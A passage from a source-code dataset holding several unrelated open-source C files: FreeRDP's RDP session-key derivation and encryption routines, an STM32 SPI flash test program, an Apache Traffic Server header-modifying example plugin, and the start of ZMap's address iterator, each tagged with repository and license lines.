0xd3, 0xd3, 0xd5, 0xd5, 0xd6, 0xd6, 0xd9, 0xd9, 0xda, 0xda, 0xdc, 0xdc, 0xdf, 0xdf, 0xe0, 0xe0, 0xe3, 0xe3, 0xe5, 0xe5, 0xe6, 0xe6, 0xe9, 0xe9, 0xea, 0xea, 0xec, 0xec, 0xef, 0xef, 0xf1, 0xf1, 0xf2, 0xf2, 0xf4, 0xf4, 0xf7, 0xf7, 0xf8, 0xf8, 0xfb, 0xfb, 0xfd, 0xfd, 0xfe, 0xfe }; static void security_salted_hash(uint8* salt, uint8* input, int length, uint8* salt1, uint8* salt2, uint8* output) { CryptoMd5 md5; CryptoSha1 sha1; uint8 sha1_digest[CRYPTO_SHA1_DIGEST_LENGTH]; /* SaltedHash(Salt, Input, Salt1, Salt2) = MD5(S + SHA1(Input + Salt + Salt1 + Salt2)) */ /* SHA1_Digest = SHA1(Input + Salt + Salt1 + Salt2) */ sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, input, length); /* Input */ crypto_sha1_update(sha1, salt, 48); /* Salt (48 bytes) */ crypto_sha1_update(sha1, salt1, 32); /* Salt1 (32 bytes) */ crypto_sha1_update(sha1, salt2, 32); /* Salt2 (32 bytes) */ crypto_sha1_final(sha1, sha1_digest); /* SaltedHash(Salt, Input, Salt1, Salt2) = MD5(S + SHA1_Digest) */ md5 = crypto_md5_init(); crypto_md5_update(md5, salt, 48); /* Salt (48 bytes) */ crypto_md5_update(md5, sha1_digest, sizeof(sha1_digest)); /* SHA1_Digest */ crypto_md5_final(md5, output); } static void security_premaster_hash(char* input, int length, uint8* premaster_secret, uint8* client_random, uint8* server_random, uint8* output) { /* PremasterHash(Input) = SaltedHash(PremasterSecret, Input, ClientRandom, ServerRandom) */ security_salted_hash(premaster_secret, (uint8*)input, length, client_random, server_random, output); } void security_master_secret(uint8* premaster_secret, uint8* client_random, uint8* server_random, uint8* output) { /* MasterSecret = PremasterHash('A') + PremasterHash('BB') + PremasterHash('CCC') */ security_premaster_hash("A", 1, premaster_secret, client_random, server_random, &output[0]); security_premaster_hash("BB", 2, premaster_secret, client_random, server_random, &output[16]); security_premaster_hash("CCC", 3, premaster_secret, client_random, server_random, &output[32]); } static void security_master_hash(char* input, int length, uint8* master_secret, uint8* client_random, uint8* server_random, uint8* output) { /* MasterHash(Input) = SaltedHash(MasterSecret, Input, ServerRandom, ClientRandom) */ security_salted_hash(master_secret, (uint8*)input, length, server_random, client_random, output); } void security_session_key_blob(uint8* master_secret, uint8* client_random, uint8* server_random, uint8* output) { /* MasterHash = MasterHash('A') + MasterHash('BB') + MasterHash('CCC') */ security_master_hash("A", 1, master_secret, client_random, server_random, &output[0]); security_master_hash("BB", 2, master_secret, client_random, server_random, &output[16]); security_master_hash("CCC", 3, master_secret, client_random, server_random, &output[32]); } void security_mac_salt_key(uint8* session_key_blob, uint8* client_random, uint8* server_random, uint8* output) { /* MacSaltKey = First128Bits(SessionKeyBlob) */ memcpy(output, session_key_blob, 16); } void security_md5_16_32_32(uint8* in0, uint8* in1, uint8* in2, uint8* output) { CryptoMd5 md5; md5 = crypto_md5_init(); crypto_md5_update(md5, in0, 16); crypto_md5_update(md5, in1, 32); crypto_md5_update(md5, in2, 32); crypto_md5_final(md5, output); } void security_licensing_encryption_key(uint8* session_key_blob, uint8* client_random, uint8* server_random, uint8* output) { /* LicensingEncryptionKey = MD5(Second128Bits(SessionKeyBlob) + ClientRandom + ServerRandom)) */ security_md5_16_32_32(&session_key_blob[16], client_random, server_random, output); } void security_uint32_le(uint8* output, uint32 value) { output[0] = (value) & 0xFF; output[1] = (value >> 8) & 0xFF; output[2] = (value >> 16) & 0xFF; output[3] = (value >> 24) & 0xFF; } void security_mac_data(uint8* mac_salt_key, uint8* data, uint32 length, uint8* output) { CryptoMd5 md5; CryptoSha1 sha1; uint8 length_le[4]; uint8 sha1_digest[CRYPTO_SHA1_DIGEST_LENGTH]; /* MacData = MD5(MacSaltKey + pad2 + SHA1(MacSaltKey + pad1 + length + data)) */ security_uint32_le(length_le, length); /* length must be little-endian */ /* SHA1_Digest = SHA1(MacSaltKey + pad1 + length + data) */ sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, mac_salt_key, 16); /* MacSaltKey */ crypto_sha1_update(sha1, pad1, sizeof(pad1)); /* pad1 */ crypto_sha1_update(sha1, length_le, sizeof(length_le)); /* length */ crypto_sha1_update(sha1, data, length); /* data */ crypto_sha1_final(sha1, sha1_digest); /* MacData = MD5(MacSaltKey + pad2 + SHA1_Digest) */ md5 = crypto_md5_init(); crypto_md5_update(md5, mac_salt_key, 16); /* MacSaltKey */ crypto_md5_update(md5, pad2, sizeof(pad2)); /* pad2 */ crypto_md5_update(md5, sha1_digest, sizeof(sha1_digest)); /* SHA1_Digest */ crypto_md5_final(md5, output); } void security_mac_signature(rdpRdp *rdp, uint8* data, uint32 length, uint8* output) { CryptoMd5 md5; CryptoSha1 sha1; uint8 length_le[4]; uint8 md5_digest[CRYPTO_MD5_DIGEST_LENGTH]; uint8 sha1_digest[CRYPTO_SHA1_DIGEST_LENGTH]; security_uint32_le(length_le, length); /* length must be little-endian */ /* SHA1_Digest = SHA1(MACKeyN + pad1 + length + data) */ sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, rdp->sign_key, rdp->rc4_key_len); /* MacKeyN */ crypto_sha1_update(sha1, pad1, sizeof(pad1)); /* pad1 */ crypto_sha1_update(sha1, length_le, sizeof(length_le)); /* length */ crypto_sha1_update(sha1, data, length); /* data */ crypto_sha1_final(sha1, sha1_digest); /* MACSignature = First64Bits(MD5(MACKeyN + pad2 + SHA1_Digest)) */ md5 = crypto_md5_init(); crypto_md5_update(md5, rdp->sign_key, rdp->rc4_key_len); /* MacKeyN */ crypto_md5_update(md5, pad2, sizeof(pad2)); /* pad2 */ crypto_md5_update(md5, sha1_digest, sizeof(sha1_digest)); /* SHA1_Digest */ crypto_md5_final(md5, md5_digest); memcpy(output, md5_digest, 8); } void security_salted_mac_signature(rdpRdp *rdp, uint8* data, uint32 length, boolean encryption, uint8* output) { CryptoMd5 md5; CryptoSha1 sha1; uint8 length_le[4]; uint8 use_count_le[4]; uint8 md5_digest[CRYPTO_MD5_DIGEST_LENGTH]; uint8 sha1_digest[CRYPTO_SHA1_DIGEST_LENGTH]; security_uint32_le(length_le, length); /* length must be little-endian */ if (encryption) { security_uint32_le(use_count_le, rdp->encrypt_checksum_use_count); } else { /* * We calculate checksum on plain text, so we must have already * decrypt it, which means decrypt_checksum_use_count is * off by one. */ security_uint32_le(use_count_le, rdp->decrypt_checksum_use_count - 1); } /* SHA1_Digest = SHA1(MACKeyN + pad1 + length + data) */ sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, rdp->sign_key, rdp->rc4_key_len); /* MacKeyN */ crypto_sha1_update(sha1, pad1, sizeof(pad1)); /* pad1 */ crypto_sha1_update(sha1, length_le, sizeof(length_le)); /* length */ crypto_sha1_update(sha1, data, length); /* data */ crypto_sha1_update(sha1, use_count_le, sizeof(use_count_le)); /* encryptionCount */ crypto_sha1_final(sha1, sha1_digest); /* MACSignature = First64Bits(MD5(MACKeyN + pad2 + SHA1_Digest)) */ md5 = crypto_md5_init(); crypto_md5_update(md5, rdp->sign_key, rdp->rc4_key_len); /* MacKeyN */ crypto_md5_update(md5, pad2, sizeof(pad2)); /* pad2 */ crypto_md5_update(md5, sha1_digest, sizeof(sha1_digest)); /* SHA1_Digest */ crypto_md5_final(md5, md5_digest); memcpy(output, md5_digest, 8); } static void security_A(uint8* master_secret, uint8* client_random, uint8* server_random, uint8* output) { security_premaster_hash("A", 1, master_secret, client_random, server_random, &output[0]); security_premaster_hash("BB", 2, master_secret, client_random, server_random, &output[16]); security_premaster_hash("CCC", 3, master_secret, client_random, server_random, &output[32]); } static void security_X(uint8* master_secret, uint8* client_random, uint8* server_random, uint8* output) { security_premaster_hash("X", 1, master_secret, client_random, server_random, &output[0]); security_premaster_hash("YY", 2, master_secret, client_random, server_random, &output[16]); security_premaster_hash("ZZZ", 3, master_secret, client_random, server_random, &output[32]); } static void fips_expand_key_bits(uint8* in, uint8* out) { uint8 buf[21], c; int i, b, p, r; /* reverse every byte in the key */ for (i = 0; i < 21; i++) buf[i] = fips_reverse_table[in[i]]; /* insert a zero-bit after every 7th bit */ for (i = 0, b = 0; i < 24; i++, b += 7) { p = b / 8; r = b % 8; if (r == 0) { out[i] = buf[p] & 0xfe; } else { /* c is accumulator */ c = buf[p] << r; c |= buf[p + 1] >> (8 - r); out[i] = c & 0xfe; } } /* reverse every byte */ /* alter lsb so the byte has odd parity */ for (i = 0; i < 24; i++) out[i] = fips_oddparity_table[fips_reverse_table[out[i]]]; } boolean security_establish_keys(uint8* client_random, rdpRdp* rdp) { uint8 pre_master_secret[48]; uint8 master_secret[48]; uint8 session_key_blob[48]; uint8* server_random; uint8 salt40[] = { 0xD1, 0x26, 0x9E }; rdpSettings* settings; settings = rdp->settings; server_random = settings->server_random->data; if (settings->encryption_method == ENCRYPTION_METHOD_FIPS) { CryptoSha1 sha1; uint8 client_encrypt_key_t[CRYPTO_SHA1_DIGEST_LENGTH + 1]; uint8 client_decrypt_key_t[CRYPTO_SHA1_DIGEST_LENGTH + 1]; printf("FIPS Compliant encryption level.\n"); /* disable fastpath input; it doesnt handle FIPS encryption yet */ rdp->settings->fastpath_input = false; sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, client_random + 16, 16); crypto_sha1_update(sha1, server_random + 16, 16); crypto_sha1_final(sha1, client_encrypt_key_t); client_encrypt_key_t[20] = client_encrypt_key_t[0]; fips_expand_key_bits(client_encrypt_key_t, rdp->fips_encrypt_key); sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, client_random, 16); crypto_sha1_update(sha1, server_random, 16); crypto_sha1_final(sha1, client_decrypt_key_t); client_decrypt_key_t[20] = client_decrypt_key_t[0]; fips_expand_key_bits(client_decrypt_key_t, rdp->fips_decrypt_key); sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, client_decrypt_key_t, 20); crypto_sha1_update(sha1, client_encrypt_key_t, 20); crypto_sha1_final(sha1, rdp->fips_sign_key); } memcpy(pre_master_secret, client_random, 24); memcpy(pre_master_secret + 24, server_random, 24); security_A(pre_master_secret, client_random, server_random, master_secret); security_X(master_secret, client_random, server_random, session_key_blob); memcpy(rdp->sign_key, session_key_blob, 16); if (rdp->settings->server_mode) { security_md5_16_32_32(&session_key_blob[16], client_random, server_random, rdp->encrypt_key); security_md5_16_32_32(&session_key_blob[32], client_random, server_random, rdp->decrypt_key); } else { security_md5_16_32_32(&session_key_blob[16], client_random, server_random, rdp->decrypt_key); security_md5_16_32_32(&session_key_blob[32], client_random, server_random, rdp->encrypt_key); } if (settings->encryption_method == 1) /* 40 and 56 bit */ { memcpy(rdp->sign_key, salt40, 3); /* TODO 56 bit */ memcpy(rdp->decrypt_key, salt40, 3); /* TODO 56 bit */ memcpy(rdp->encrypt_key, salt40, 3); /* TODO 56 bit */ rdp->rc4_key_len = 8; } else if (settings->encryption_method == 2) /* 128 bit */ { rdp->rc4_key_len = 16; } memcpy(rdp->decrypt_update_key, rdp->decrypt_key, 16); memcpy(rdp->encrypt_update_key, rdp->encrypt_key, 16); rdp->decrypt_use_count = 0; rdp->decrypt_checksum_use_count = 0; rdp->encrypt_use_count =0; rdp->encrypt_checksum_use_count =0; return true; } boolean security_key_update(uint8* key, uint8* update_key, int key_len) { uint8 sha1h[CRYPTO_SHA1_DIGEST_LENGTH]; CryptoMd5 md5; CryptoSha1 sha1; CryptoRc4 rc4; uint8 salt40[] = { 0xD1, 0x26, 0x9E }; sha1 = crypto_sha1_init(); crypto_sha1_update(sha1, update_key, key_len); crypto_sha1_update(sha1, pad1, sizeof(pad1)); crypto_sha1_update(sha1, key, key_len); crypto_sha1_final(sha1, sha1h); md5 = crypto_md5_init(); crypto_md5_update(md5, update_key, key_len); crypto_md5_update(md5, pad2, sizeof(pad2)); crypto_md5_update(md5, sha1h, sizeof(sha1h)); crypto_md5_final(md5, key); rc4 = crypto_rc4_init(key, key_len); crypto_rc4(rc4, key_len, key, key); crypto_rc4_free(rc4); if (key_len == 8) memcpy(key, salt40, 3); /* TODO 56 bit */ return true; } boolean security_encrypt(uint8* data, int length, rdpRdp* rdp) { if (rdp->encrypt_use_count >= 4096) { security_key_update(rdp->encrypt_key, rdp->encrypt_update_key, rdp->rc4_key_len); crypto_rc4_free(rdp->rc4_encrypt_key); rdp->rc4_encrypt_key = crypto_rc4_init(rdp->encrypt_key, rdp->rc4_key_len); rdp->encrypt_use_count = 0; } crypto_rc4(rdp->rc4_encrypt_key, length, data, data); rdp->encrypt_use_count++; rdp->encrypt_checksum_use_count++; return true; } boolean security_decrypt(uint8* data, int length, rdpRdp* rdp) { if (rdp->decrypt_key == NULL) return false; if (rdp->decrypt_use_count >= 4096) { security_key_update(rdp->decrypt_key, rdp->decrypt_update_key, rdp->rc4_key_len); crypto_rc4_free(rdp->rc4_decrypt_key); rdp->rc4_decrypt_key = crypto_rc4_init(rdp->decrypt_key, rdp->rc4_key_len); rdp->decrypt_use_count = 0; } crypto_rc4(rdp->rc4_decrypt_key, length, data, data); rdp->decrypt_use_count += 1; rdp->decrypt_checksum_use_count++; return true; } void security_hmac_signature(uint8* data, int length, uint8* output, rdpRdp* rdp) { uint8 buf[20]; uint8 use_count_le[4]; security_uint32_le(use_count_le, rdp->encrypt_use_count); crypto_hmac_sha1_init(rdp->fips_hmac, rdp->fips_sign_key, 20); crypto_hmac_update(rdp->fips_hmac, data, length); crypto_hmac_update(rdp->fips_hmac, use_count_le, 4); crypto_hmac_final(rdp->fips_hmac, buf, 20); memmove(output, buf, 8); } boolean security_fips_encrypt(uint8* data, int length, rdpRdp* rdp) { crypto_des3_encrypt(rdp->fips_encrypt, length, data, data); rdp->encrypt_use_count++; return true; } boolean security_fips_decrypt(uint8* data, int length, rdpRdp* rdp) { crypto_des3_decrypt(rdp->fips_decrypt, length, data, data); return true; } boolean security_fips_check_signature(uint8* data, int length, uint8* sig, rdpRdp* rdp) { uint8 buf[20]; uint8 use_count_le[4]; security_uint32_le(use_count_le, rdp->decrypt_use_count); crypto_hmac_sha1_init(rdp->fips_hmac, rdp->fips_sign_key, 20); crypto_hmac_update(rdp->fips_hmac, data, length); crypto_hmac_update(rdp->fips_hmac, use_count_le, 4); crypto_hmac_final(rdp->fips_hmac, buf, 20); rdp->decrypt_use_count++; if (memcmp(sig, buf, 8)) return false; return true; }
mister-r/FreeRDP
libfreerdp-core/security.c
C
apache-2.0
18,889
/******************** (C) COPYRIGHT 2012 WildFire Team ************************** * 文件名 :main.c * 描述 :华邦 2M串行flash测试,并将测试信息通过串口1在电脑的超级终端中打印出来。 * 实验平台:野火STM32开发板 * 库版本 :ST3.5.0 * * 作者 :wildfire team * 论坛 :http://www.amobbs.com/forum-1008-1.html * 淘宝 :http://firestm32.taobao.com **********************************************************************************/ #include "stm32f10x.h" #include "usart1.h" #include "spi_flash.h" typedef enum { FAILED = 0, PASSED = !FAILED} TestStatus; /* 获取缓冲区的长度 */ #define TxBufferSize1 (countof(TxBuffer1) - 1) #define RxBufferSize1 (countof(TxBuffer1) - 1) #define countof(a) (sizeof(a) / sizeof(*(a))) #define BufferSize (countof(Tx_Buffer)-1) #define FLASH_WriteAddress 0x00000 #define FLASH_ReadAddress FLASH_WriteAddress #define FLASH_SectorToErase FLASH_WriteAddress #define sFLASH_ID 0xEF3015 //W25X16 //#define sFLASH_ID 0xEF4015 //W25Q16 /* 发送缓冲区初始化 */ uint8_t Tx_Buffer[] = " 感谢您选用野火stm32开发板\r\n http://firestm32.taobao.com"; uint8_t Rx_Buffer[BufferSize]; __IO uint32_t DeviceID = 0; __IO uint32_t FlashID = 0; __IO TestStatus TransferStatus1 = FAILED; // 函数原型声明 void Delay(__IO uint32_t nCount); TestStatus Buffercmp(uint8_t* pBuffer1, uint8_t* pBuffer2, uint16_t BufferLength); /* * 函数名:main * 描述 :主函数 * 输入 :无 * 输出 :无 */ int main(void) { /* 配置串口1为:115200 8-N-1 */ USART1_Config(); printf("\r\n 这是一个2M串行flash(W25X16)实验 \r\n"); /* 2M串行flash W25X16初始化 */ SPI_FLASH_Init(); /* Get SPI Flash Device ID */ DeviceID = SPI_FLASH_ReadDeviceID(); Delay( 200 ); /* Get SPI Flash ID */ FlashID = SPI_FLASH_ReadID(); printf("\r\n FlashID is 0x%X, Manufacturer Device ID is 0x%X\r\n", FlashID, DeviceID); /* Check the SPI Flash ID */ if (FlashID == sFLASH_ID) /* #define sFLASH_ID 0xEF3015 */ { printf("\r\n 检测到华邦串行flash W25X16 !\r\n"); /* Erase SPI FLASH Sector to write on */ SPI_FLASH_SectorErase(FLASH_SectorToErase); /* 将发送缓冲区的数据写到flash中 */ SPI_FLASH_BufferWrite(Tx_Buffer, FLASH_WriteAddress, BufferSize); printf("\r\n 写入的数据为:%s \r\t", Tx_Buffer); /* 将刚刚写入的数据读出来放到接收缓冲区中 */ SPI_FLASH_BufferRead(Rx_Buffer, FLASH_ReadAddress, BufferSize); printf("\r\n 读出的数据为:%s \r\n", Tx_Buffer); /* 检查写入的数据与读出的数据是否相等 */ TransferStatus1 = Buffercmp(Tx_Buffer, Rx_Buffer, BufferSize); if( PASSED == TransferStatus1 ) { printf("\r\n 2M串行flash(W25X16)测试成功!\n\r"); } else { printf("\r\n 2M串行flash(W25X16)测试失败!\n\r"); } }// if (FlashID == sFLASH_ID) else { printf("\r\n 获取不到 W25X16 ID!\n\r"); } SPI_Flash_PowerDown(); while(1); } /* * 函数名:Buffercmp * 描述 :比较两个缓冲区中的数据是否相等 * 输入 :-pBuffer1 src缓冲区指针 * -pBuffer2 dst缓冲区指针 * -BufferLength 缓冲区长度 * 输出 :无 * 返回 :-PASSED pBuffer1 等于 pBuffer2 * -FAILED pBuffer1 不同于 pBuffer2 */ TestStatus Buffercmp(uint8_t* pBuffer1, uint8_t* pBuffer2, uint16_t BufferLength) { while(BufferLength--) { if(*pBuffer1 != *pBuffer2) { return FAILED; } pBuffer1++; pBuffer2++; } return PASSED; } void Delay(__IO uint32_t nCount) { for(; nCount != 0; nCount--); } /******************* (C) COPYRIGHT 2012 WildFire Team *****END OF FILE************/
sdlylshl/Gateway
Gateway_STM32/user/System/SPI/main.c
C
apache-2.0
3,926
/** @file An example program which illustrates adding and manipulating an HTTP response MIME header: Usage: response_header_1.so add read_resp_header hook get http response header if 200, then add mime extension header with count of zero add mime extension header with date response was received add "Cache-Control: public" header else if 304, then retrieve cached header get old value of mime header count increment mime header count store mime header with new count @section license License Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include <time.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include "ts/ts.h" #include "ts/ink_defs.h" #define PLUGIN_NAME "response_header_1" static int init_buffer_status; static char *mimehdr1_name; static char *mimehdr2_name; static char *mimehdr1_value; static TSMBuffer hdr_bufp; static TSMLoc hdr_loc; static TSMLoc field_loc; static TSMLoc value_loc; static void modify_header(TSHttpTxn txnp) { TSMBuffer resp_bufp; TSMBuffer cached_bufp; TSMLoc resp_loc; TSMLoc cached_loc; TSHttpStatus resp_status; TSMLoc new_field_loc; TSMLoc cached_field_loc; time_t recvd_time; const char *chkptr; int chklength; int num_refreshes = 0; if (!init_buffer_status) { return; /* caller reenables */ } if (TSHttpTxnServerRespGet(txnp, &resp_bufp, &resp_loc) != TS_SUCCESS) { TSError("[%s] Couldn't retrieve server response header", PLUGIN_NAME); return; /* caller reenables */ } /* TSqa06246/TSqa06144 */ resp_status = TSHttpHdrStatusGet(resp_bufp, resp_loc); if (TS_HTTP_STATUS_OK == resp_status) { TSDebug(PLUGIN_NAME, "Processing 200 OK"); TSMimeHdrFieldCreate(resp_bufp, resp_loc, &new_field_loc); /* Probably should check for errors */ TSDebug(PLUGIN_NAME, "Created new resp field with loc %p", new_field_loc); /* copy name/values created at init * ( "x-num-served-from-cache" ) : ( "0" ) */ TSMimeHdrFieldCopy(resp_bufp, resp_loc, new_field_loc, hdr_bufp, hdr_loc, field_loc); /*********** Unclear why this is needed **************/ TSMimeHdrFieldAppend(resp_bufp, resp_loc, new_field_loc); /* Cache-Control: Public */ TSMimeHdrFieldCreate(resp_bufp, resp_loc, &new_field_loc); /* Probably should check for errors */ TSDebug(PLUGIN_NAME, "Created new resp field with loc %p", new_field_loc); TSMimeHdrFieldAppend(resp_bufp, resp_loc, new_field_loc); TSMimeHdrFieldNameSet(resp_bufp, resp_loc, new_field_loc, TS_MIME_FIELD_CACHE_CONTROL, TS_MIME_LEN_CACHE_CONTROL); TSMimeHdrFieldValueStringInsert(resp_bufp, resp_loc, new_field_loc, -1, TS_HTTP_VALUE_PUBLIC, TS_HTTP_LEN_PUBLIC); /* * mimehdr2_name = TSstrdup( "x-date-200-recvd" ) : CurrentDateTime */ TSMimeHdrFieldCreate(resp_bufp, resp_loc, &new_field_loc); /* Probably should check for errors */ TSDebug(PLUGIN_NAME, "Created new resp field with loc %p", new_field_loc); TSMimeHdrFieldAppend(resp_bufp, resp_loc, new_field_loc); TSMimeHdrFieldNameSet(resp_bufp, resp_loc, new_field_loc, mimehdr2_name, strlen(mimehdr2_name)); recvd_time = time(NULL); TSMimeHdrFieldValueDateInsert(resp_bufp, resp_loc, new_field_loc, recvd_time); TSHandleMLocRelease(resp_bufp, resp_loc, new_field_loc); TSHandleMLocRelease(resp_bufp, TS_NULL_MLOC, resp_loc); } else if (TS_HTTP_STATUS_NOT_MODIFIED == resp_status) { TSDebug(PLUGIN_NAME, "Processing 304 Not Modified"); /* N.B.: Protect writes to data (hash on URL + mutex: (ies)) */ /* Get the cached HTTP header */ if (TSHttpTxnCachedRespGet(txnp, &cached_bufp, &cached_loc) != TS_SUCCESS) { TSError("[%s] STATUS 304, TSHttpTxnCachedRespGet():", PLUGIN_NAME); TSError("[%s] Couldn't retrieve cached response header", PLUGIN_NAME); TSHandleMLocRelease(resp_bufp, TS_NULL_MLOC, resp_loc); return; /* Caller reenables */ } /* Get the cached MIME field name for this HTTP header */ cached_field_loc = TSMimeHdrFieldFind(cached_bufp, cached_loc, (const char *)mimehdr1_name, strlen(mimehdr1_name)); if (TS_NULL_MLOC == cached_field_loc) { TSError("[%s] Can't find header %s in cached document", PLUGIN_NAME, mimehdr1_name); TSHandleMLocRelease(resp_bufp, TS_NULL_MLOC, resp_loc); TSHandleMLocRelease(cached_bufp, TS_NULL_MLOC, cached_loc); return; /* Caller reenables */ } /* Get the cached MIME value for this name in this HTTP header */ chkptr = TSMimeHdrFieldValueStringGet(cached_bufp, cached_loc, cached_field_loc, -1, &chklength); if (NULL == chkptr || !chklength) { TSError("[%s] Could not find value for cached MIME field name %s", PLUGIN_NAME, mimehdr1_name); TSHandleMLocRelease(resp_bufp, TS_NULL_MLOC, resp_loc); TSHandleMLocRelease(cached_bufp, TS_NULL_MLOC, cached_loc); TSHandleMLocRelease(cached_bufp, cached_loc, cached_field_loc); return; /* Caller reenables */ } TSDebug(PLUGIN_NAME, "Header field value is %s, with length %d", chkptr, chklength); /* Get the cached MIME value for this name in this HTTP header */ /* TSMimeHdrFieldValueUintGet(cached_bufp, cached_loc, cached_field_loc, 0, &num_refreshes); TSDebug(PLUGIN_NAME, "Cached header shows %d refreshes so far", num_refreshes ); num_refreshes++ ; */ /* txn origin server response for this transaction stored * in resp_bufp, resp_loc * * Create a new MIME field/value. Cached value has been incremented. * Insert new MIME field/value into the server response buffer, * allow HTTP processing to continue. This will update * (indirectly invalidates) the cached HTTP headers MIME field. * It is apparently not necessary to update all of the MIME fields * in the in-process response in order to have the cached response * become invalid. */ TSMimeHdrFieldCreate(resp_bufp, resp_loc, &new_field_loc); /* Probaby should check for errrors */ /* mimehdr1_name : TSstrdup( "x-num-served-from-cache" ) ; */ TSMimeHdrFieldAppend(resp_bufp, resp_loc, new_field_loc); TSMimeHdrFieldNameSet(resp_bufp, resp_loc, new_field_loc, mimehdr1_name, strlen(mimehdr1_name)); TSMimeHdrFieldValueUintInsert(resp_bufp, resp_loc, new_field_loc, -1, num_refreshes); TSHandleMLocRelease(resp_bufp, resp_loc, new_field_loc); TSHandleMLocRelease(cached_bufp, cached_loc, cached_field_loc); TSHandleMLocRelease(cached_bufp, TS_NULL_MLOC, cached_loc); TSHandleMLocRelease(resp_bufp, TS_NULL_MLOC, resp_loc); } else { TSDebug(PLUGIN_NAME, "other response code %d", resp_status); } /* * Additional 200/304 processing can go here, if so desired. */ /* Caller reneables */ } static int modify_response_header_plugin(TSCont contp ATS_UNUSED, TSEvent event, void *edata) { TSHttpTxn txnp = (TSHttpTxn)edata; switch (event) { case TS_EVENT_HTTP_READ_RESPONSE_HDR: TSDebug(PLUGIN_NAME, "Called back with TS_EVENT_HTTP_READ_RESPONSE_HDR"); modify_header(txnp); TSHttpTxnReenable(txnp, TS_EVENT_HTTP_CONTINUE); /* fall through */ default: break; } return 0; } void TSPluginInit(int argc, const char *argv[]) { TSMLoc chk_field_loc; TSPluginRegistrationInfo info; info.plugin_name = PLUGIN_NAME; info.vendor_name = "Apache Software Foundation"; info.support_email = "dev@trafficserver.apache.org"; if (TSPluginRegister(&info) != TS_SUCCESS) { TSError("[%s] Plugin registration failed", PLUGIN_NAME); } init_buffer_status = 0; if (argc > 1) { TSError("[%s] usage: %s", PLUGIN_NAME, argv[0]); TSError("[%s] warning: too many args %d", PLUGIN_NAME, argc); TSError("[%s] warning: ignoring unused arguments beginning with %s", PLUGIN_NAME, argv[1]); } /* * The following code sets up an "init buffer" containing an extension header * and its initial value. This will be the same for all requests, so we try * to be efficient and do all of the work here rather than on a per-transaction * basis. */ hdr_bufp = TSMBufferCreate(); TSMimeHdrCreate(hdr_bufp, &hdr_loc); mimehdr1_name = TSstrdup("x-num-served-from-cache"); mimehdr1_value = TSstrdup("0"); /* Create name here and set DateTime value when o.s. * response 200 is received */ mimehdr2_name = TSstrdup("x-date-200-recvd"); TSDebug(PLUGIN_NAME, "Inserting header %s with value %s into init buffer", mimehdr1_name, mimehdr1_value); TSMimeHdrFieldCreate(hdr_bufp, hdr_loc, &field_loc); /* Probably should check for errors */ TSMimeHdrFieldAppend(hdr_bufp, hdr_loc, field_loc); TSMimeHdrFieldNameSet(hdr_bufp, hdr_loc, field_loc, mimehdr1_name, strlen(mimehdr1_name)); TSMimeHdrFieldValueStringInsert(hdr_bufp, hdr_loc, field_loc, -1, mimehdr1_value, strlen(mimehdr1_value)); TSDebug(PLUGIN_NAME, "init buffer hdr, field and value locs are %p, %p and %p", hdr_loc, field_loc, value_loc); init_buffer_status = 1; TSHttpHookAdd(TS_HTTP_READ_RESPONSE_HDR_HOOK, TSContCreate(modify_response_header_plugin, NULL)); /* * The following code demonstrates how to extract the field_loc from the header. * In this plugin, the init buffer and thus field_loc never changes. Code * similar to this may be used to extract header fields from any buffer. */ if (TS_NULL_MLOC == (chk_field_loc = TSMimeHdrFieldGet(hdr_bufp, hdr_loc, 0))) { TSError("[%s] Couldn't retrieve header field from init buffer", PLUGIN_NAME); TSError("[%s] Marking init buffer as corrupt; no more plugin processing", PLUGIN_NAME); init_buffer_status = 0; /* bail out here and reenable transaction */ } else { if (field_loc != chk_field_loc) { TSError("[%s] Retrieved buffer field loc is %p when it should be %p", PLUGIN_NAME, chk_field_loc, field_loc); } } }
persiaAziz/trafficserver
example/response_header_1/response_header_1.c
C
apache-2.0
10,717
#include <assert.h> #include <pthread.h> #include <stdint.h> #include <time.h> #include "../lib/includes.h" #include "../lib/blacklist.h" #include "../lib/logger.h" #include "../lib/xalloc.h" #include "iterator.h" #include "aesrand.h" #include "shard.h" #include "state.h" struct iterator { cycle_t cycle; uint8_t num_threads; shard_t *thread_shards; uint8_t *complete; pthread_mutex_t mutex; uint32_t curr_threads; }; void shard_complete(uint8_t thread_id, void *arg) { iterator_t *it = (iterator_t *) arg; assert(thread_id < it->num_threads); pthread_mutex_lock(&it->mutex); it->complete[thread_id] = 1; it->curr_threads--; shard_t *s = &it->thread_shards[thread_id]; zsend.sent += s->state.sent; zsend.blacklisted += s->state.blacklisted; zsend.whitelisted += s->state.whitelisted; zsend.sendto_failures += s->state.failures; uint8_t done = 1; for (uint8_t i = 0; done && (i < it->num_threads); ++i) { done = done && it->complete[i]; } if (done) { zsend.finish = now(); zsend.complete = 1; zsend.first_scanned = it->thread_shards[0].state.first_scanned; } pthread_mutex_unlock(&it->mutex); } iterator_t* iterator_init(uint8_t num_threads, uint8_t shard, uint8_t num_shards) { uint64_t num_addrs = blacklist_count_allowed(); iterator_t *it = xmalloc(sizeof(struct iterator)); const cyclic_group_t *group = get_group(num_addrs); if (num_addrs > (1LL << 32)) { zsend.max_index = 0xFFFFFFFF; } else { zsend.max_index = (uint32_t) num_addrs; } it->cycle = make_cycle(group, zconf.aes); it->num_threads = num_threads; it->curr_threads = num_threads; it->thread_shards = xcalloc(num_threads, sizeof(shard_t)); it->complete = xcalloc(it->num_threads, sizeof(uint8_t)); pthread_mutex_init(&it->mutex, NULL); for (uint8_t i = 0; i < num_threads; ++i) { shard_init(&it->thread_shards[i], shard, num_shards, i, num_threads, &it->cycle, shard_complete, it ); } zconf.generator = it->cycle.generator; return it; } uint32_t iterator_get_sent(iterator_t *it) { uint32_t sent = 0; for (uint8_t i = 0; i < 